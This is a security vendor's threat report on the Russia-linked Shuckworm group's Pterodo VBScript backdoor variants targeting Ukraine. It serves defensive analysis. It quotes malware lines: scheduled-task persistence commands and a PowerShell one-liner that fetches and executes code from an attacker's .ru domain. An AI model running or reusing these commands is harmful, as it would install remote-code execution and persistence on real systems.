Shuckworm: Espionage Group Continues Intense Campaign Against Ukraine

Russia-linked group is continually refining its malware and often deploying multiple payloads to maximize chances of maintaining a persistent presence on targeted networks.

The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is continuing to mount an intense cyber campaign against organizations in Ukraine.

Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared in 2014. These attacks have continued unabated since the Russian invasion of the country. While the group's tools and tactics are simple and sometimes crude, the frequency and persistence of its attacks mean that it remains one of the key cyber threats facing organizations in the region.

Multiple payloads

One of the hallmarks of the group's recent activity is the deployment of multiple malware payloads on targeted computers. These payloads are usually different variants of the same malware (Backdoor.Pterodo), designed to perform similar tasks. Each will communicate with a different command-and-control (C&C) server.

The most likely reason for using multiple variants is that it may provide a rudimentary way of maintaining persistence on an infected computer. If one payload or C&C server is detected and blocked, the attackers can fall back on one of the others and roll out more new variants to compensate.

Symantec's Threat Hunter Team, part of Broadcom Software, has found four distinct variants of Pterodo being used in recent attacks. All of them are Visual Basic Script (VBS) droppers with similar functionality. They will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a C&C server. All of the embedded VBScripts were very similar to one another and used similar obfuscation techniques.

Backdoor.Pterodo.B

This variant is a modified self-extracting archive, containing obfuscated VBScripts in resources that can be unpacked by 7-Zip.

It then adds them as a scheduled task to ensure persistence:

- CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """UDPSync"" /tr ""wscript.exe """ + hailJPT + """" & " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
- CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """SyncPlayer"" /tr ""wscript.exe """ + enormouslyAKeIXNE + """" + " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0

The script also copies itself to [USERPROFILE]\ntusers.ini file.

The two newly created files are more obfuscated VBScripts.

- The first is designed to gather system information, such as the serial number of the C: drive, and sends this information to a C&C server.
- The second adds another layer of persistence by copying the previously dropped ntusers.ini file to another desktop.ini file.

Backdoor.Pterodo.C

This variant is also designed to drop VBScripts on the infected computer. When run, it will first engage in API hammering, making multiple meaningless API calls, which is presumably an attempt to avoid sandbox detection. It will then unpack a script and a file called offspring.gif to C:\Users\[username]\. It will call the script with:

- "wscript "[USERNAME]\lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b /pgs"

This script runs ipconfig /flushdns and executes the offspring.gif file. Offsprint.gif will download a PowerShell script from a random subdomain of corolain.ru and execute it:

- cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object net.webclient).DownloadString('http://'+ [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru') +'/get.php'); Invoke-Expression $tmp"

Backdoor.Pterodo.D

This variant is another VBScript dropper. It will create two files:

- [USERPROFILE]\atwuzxsjiobk.ql
- [USERPROFILE]\abide.wav

It executes them with the following command:

- wscript "[USERPROFILE]\atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b /pyvc

Similar to the other variants, the first script will run ipconfig /flushdns before calling the second script and removing the original executable.

The second script has two layers of obfuscation, but in the end it downloads the final payload from the domain declined.delivered.maizuko[.]ru and executes it.

Backdoor.Pterodo.E

The final variant is functionally very similar to variants B and C, engaging in API hammering before extracting two VBScript files to the user's home directory. Script obfuscation is very similar to other variants.

Other tools

While the attackers have made heavy use of Pterodo during recent weeks, other tools have also been deployed alongside it. These include UltraVNC, an open-source remote-administration/remote-desktop-software utility. UltraVNC has previously been used by Shuckworm in multiple attacks.

In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft Sysinternals tool designed to provide information about which handles and DLL processes have opened or loaded.

Persistent threat

While Shuckworm is not the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations. It appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay ahead of detection.

While Shuckworm appears to be largely focused on intelligence gathering, its attacks could also potentially be a precursor to more serious intrusions, if the access it acquires to Ukrainian organizations is turned over to other Russian-sponsored actors.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

A full list of IOCs is available here on GitHub.

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.